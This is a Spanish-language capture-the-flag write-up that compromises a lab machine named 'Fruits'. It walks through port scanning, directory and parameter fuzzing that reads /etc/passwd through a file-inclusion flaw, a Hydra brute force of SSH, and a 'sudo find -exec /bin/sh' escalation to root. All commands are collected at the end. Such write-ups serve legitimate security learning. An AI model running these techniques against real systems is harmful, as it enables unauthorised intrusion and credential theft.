WriteUps Fruits

03 Apr 2024
4 minutos

Progreso del WriteUp#

Reconocimiento inicial#

Se realizó un escaneo completo de puertos utilizando nmap:

BASH
1
nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.6.55 -oN fruits

El resultado del escaneo mostró:

BASH
1
2
3
4
5
6
7
8
9
10
11
12
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 ae:dd:1a:b6:db:a7:c7:8c:f3:03:b8:05:da:e0:51:68 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCQNedjAsOIUPjuXXePExNQPkTd5QaDX0nsLYAp+CvAsvx1P9GEoSD8+grVM135luK3V0HesWZ3bG1tscaoxLDI=
|   256 68:16:a7:3a:63:0c:8b:f6:ba:a1:ff:c0:34:e8:bf:80 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDQrwp+ucBTn8BIamv+vG3YEatHUVXK+1U2L9tH/7q+
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.57 ((Debian))
|_http-title: Página de Frutas
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.57 (Debian)

Resultado: Se detectaron dos servicios importantes:

  • Puerto 22: Servicio SSH con la versión OpenSSH 9.2p1.
  • Puerto 80: Servicio HTTP con Apache.

Análisis de vulnerabilidad#

Al acceder a la dirección IP por el puerto 80, se observó una página titulada “Página de Frutas”.

PantallaPuerto80Fruits.png

Revisé el código fuente del sitio web, pero no encontré información relevante. Por lo tanto, decidí realizar un escaneo de directorios y extensiones con las siguientes herramientas:

  • Dirb:
    BASH
    1
    dirb http://10.6.6.55/
    
  • Gobuster:
    BASH
    1
    gobuster dir -u http://10.6.6.55/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    

El escaneo reveló un archivo llamado fruits.php, pero no tenía contenido visible. Luego de varios intentos fallidos, incluyendo revisiones con Burp Suite y otros métodos de fuzzing, me encontré en un “rabbit hole”. Pedí ayuda en el canal de Discord, donde el usuario Condor me dio la pista correcta: debía enfocarme en fuzzing de parámetros, no solo de directorios.

Utilicé wfuzz para realizar el fuzzing adecuado:

BASH
1
wfuzz -c -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 1 'http://10.6.6.55/fruits.php?FUZZ=/etc/passwd'

Finalmente, logré obtener acceso a información sensible a través del archivo /etc/passwd, lo cual reveló el nombre de usuario bananaman.

Explotación#

Conociendo el nombre de usuario bananaman, procedí a realizar un ataque de fuerza bruta al servicio SSH utilizando hydra:

BASH
1
hydra -l bananaman -P /usr/share/wordlists/rockyou.txt ssh://10.6.6.55 -t 4 -I

Resultado: Logré encontrar la contraseña correcta y conectarme por SSH como el usuario bananaman.

BASH
1
ssh bananaman@10.6.6.55

Al conectarme, obtuve la primera bandera (user.txt).

FlagUserBananamCTFFruits.png

Escalada de privilegios#

Dentro del sistema, ejecuté sudo -l y descubrí que el usuario bananaman podía ejecutar find como root sin necesidad de contraseña:

BASH
1
2
User bananaman may run the following commands on Fruits:
    (ALL) NOPASSWD: /usr/bin/find

Busqué en GTFOBinscómo usar find para escalar privilegios. El siguiente comando me permitió abrir una shell como root:

BASH
1
sudo find /etc/passwd -exec /bin/sh \;

Resultado: Logré obtener acceso como root y finalmente encontré la bandera de root (root.txt) en el directorio /root.

ElevarPrivilegiosFruitsCTF.png

Aprendizaje#

La máquina Fruits fue un gran ejemplo de cómo los caminos incorrectos (rabbit holes) pueden hacer perder tiempo valioso, y cómo es fundamental usar las herramientas adecuadas de fuzzing con los parámetros correctos. También reforzó la importancia de apoyarse en la comunidad cuando uno se siente bloqueado.

Comandos#

  1. Escaneo de puertos con Nmap:
    BASH
    1
    nmap -p- --open -sC -sS -sV --min-rate=5000 -n -vvv -Pn 10.6.6.55 -oN fruits
    
  2. Escaneo de directorios con Dirb:
    BASH
    1
    dirb http://10.6.6.55/
    
  3. Escaneo de directorios con Gobuster:
    BASH
    1
    gobuster dir -u http://10.6.6.55/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
    
  4. Fuzzing con Wfuzz:
    BASH
    1
    wfuzz -c -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 1 'http://10.6.6.55/fruits.php?FUZZ=/etc/passwd'
    
  5. Ataque de fuerza bruta con Hydra:
    BASH
    1
    hydra -l bananaman -P /usr/share/wordlists/rockyou.txt ssh://10.6.6.55 -t 4 -I
    
  6. Escalada de privilegios con Find:
    BASH
    1
    sudo find /etc/passwd -exec /bin/sh \;